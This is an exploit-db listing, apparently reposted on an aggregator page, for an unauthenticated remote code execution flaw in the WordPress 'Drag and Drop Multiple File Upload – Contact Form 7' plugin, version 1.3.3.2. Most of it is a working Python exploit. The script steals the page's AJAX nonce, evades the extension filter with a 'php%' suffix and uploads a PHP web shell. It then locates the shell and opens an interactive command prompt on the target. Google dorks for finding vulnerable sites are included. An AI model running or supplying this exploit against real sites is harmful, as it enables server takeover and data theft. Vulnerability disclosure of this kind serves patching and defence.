WordPress Plugin Drag and Drop File Upload Contact Form 1.3.3.2 – Remote Code Execution

  • 作者: Austin Martin
    日期: 2020-05-26
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/48520/
  • # Exploit Title: WordPress Plugin Drag and Drop File Upload Contact Form 1.3.3.2 - Remote Code Execution
    # Date: 2020-05-11
    # Exploit Author: Austin Martin
    # Google Dork: inurl:wp-content/uploads/wp_dndcf7_uploads/
    # Google Dork: inurl:wp-content/plugins/drag-and-drop-multiple-file-upload-contact-form-7/
    # Vendor Homepage: https://www.codedropz.com/
    # Software Link: https://wordpress.org/plugins/drag-and-drop-multiple-file-upload-contact-form-7/
    # Version: 1.3.3.2
    # Tested on: WordPress 5.4.1, PHP 7.41
    # CVE : N/A
    
    # Notes:
    # At time of disclosure, the WordPress page listed this plugin being used by +10,000 applications
    # Application was patched by vendor within 24 hours of initial disclosure
    # This exploit works bypassing the allowed file types and file type sanitization. If lucky, a PHP file with a reverse shell can be uploaded and accessed
    
    # Any file types can be added to the "supported_type"parameter
    # These uploaded files can be accessed at wp-content/uploads/wp_dndcf7_uploads/
    # Dangerous file types such as php have "_.txt" appended to the end creating a text file
    # This can be bypassed by adding '%' to the end of the allowed file type, and the end of the file name
    # ex. "php%" for file type and "shell.php%" for filename
    # The PHP payload in the POC can be easily modified to gain a reverse shell
    
    #!/usr/bin/python
    import string
    import random
    import requests
    from bs4 import BeautifulSoup
    import sys
    
    payloadurl=""
    def RecurseLinks(base,file):
    
    headers={"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0"}
    f = requests.get(base, headers=headers)
    soup = BeautifulSoup(f.content, "html.parser")
    
    for root in soup.find_all("a"):
    href = root.get("href")
    if (href.startswith("/")):
    do = "nothing"
    elif (href.endswith("/")):
    RecurseLinks(base + href, file)
    else:
    if file in href:
    print ("\n[+] File Found --> " + base + href)
    global payloadurl
    payloadurl = (base+href)
    
    def main():
    #os.system('cls')
    print("WordPress Plugin \'Drag and Drop Multiple File Upload - Contact Form 7\' 1.3.3.2 - Unauthenticated Remote Code Execution")
    print("@amartinsec --> Twitter\nCVE:2020-12800\n")
    
    #Build The Request
    #Generate random URL for filename
    file = ''.join(random.sample((string.ascii_uppercase + string.digits), 6))
    
    urlinput = raw_input("[+] Enter url to the vulnerable WordPress application: ")
    
    #Finding the nonce used in the Ajax security string
    print ("\n[+] Searching for security string nonce")
    headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36'}
    homepage = requests.get(urlinput,headers=headers)
    homepage = homepage.text
    homepage = homepage.split("ajax_nonce\":\"",1)[1]
    securitykey = homepage[:10]
    print("[+] Found security string --> " + securitykey)
    
    url = urlinput + "/wp-admin/admin-ajax.php"
    
    headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0",
     "Accept": "application/json, text/javascript, */*; q=0.01", "Accept-Language": "en-US,en;q=0.5",
     "Accept-Encoding": "gzip, deflate", "X-Requested-With": "XMLHttpRequest",
     "Content-Type": "multipart/form-data; boundary=---------------------------350278735926454076983690555601",
     }
    data = "-----------------------------350278735926454076983690555601\r\nContent-Disposition: form-data; name=\"supported_type\"\r\n\r\n" \
     "php%\r\n-----------------------------350278735926454076983690555601\r\nContent-Disposition: form-data; name=\"size_limit\"\r\n\r\n" \
     "5242880\r\n-----------------------------350278735926454076983690555601\r\nContent-Disposition: form-data; name=\"action\"\r\n\r\n" \
     "dnd_codedropz_upload\r\n-----------------------------350278735926454076983690555601\r\nContent-Disposition: form-data; name=\"type" \
     "\"\r\n\r\nclick\r\n-----------------------------350278735926454076983690555601\r\nContent-Disposition: form-data; name=\"security\"\r" \
     "\n\r\n" + securitykey +"\r\n-----------------------------350278735926454076983690555601\r\nContent-Disposition: form-data; name=\"upload-file\"; " \
     "filename=\"" + file +".php%\"\r\nContent-Type: text/plain\r\n\r\n" \
     "<?php echo shell_exec($_GET['e'].' 2>&1'); ?>" \
     "\r\n-----------------------------350278735926454076983690555601--\r\n"
    
    print "\n[+] Sending payload to target"
    
    response = requests.post(url, headers=headers, data=data)
    
    if "200" in str(response):
    print("[+] Looks like a successful file upload!\n")
    
    
    elif "403" in str(response):
    print("\nFile Upload Failed")
    print("403 in response. Check security string")
    sys.exit(1)
    
    else:
    print("File upload failed. Try the manual way with Burp")
    sys.exit(1)
    
    print("[+] Crawling for the uploaded file. This may take a minute...")
    print("[+] Searching for " + file + ".php")
    
    RecurseLinks(urlinput + "/wp-content/uploads/",file)
    
    if payloadurl == "":
    print("Can't find the file on the web server")
    print("Try the manual method")
    sys.exit(1)
    
    #If all goes well, we can now send requests for RCE
    print("[+] Success\n")
    while True:
    cmd= raw_input("[+] CMD: ")
    headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36'}
    request = requests.get(payloadurl + "?e=" + cmd, headers=headers)
    print request.text
    
    if __name__ == "__main__":
    main()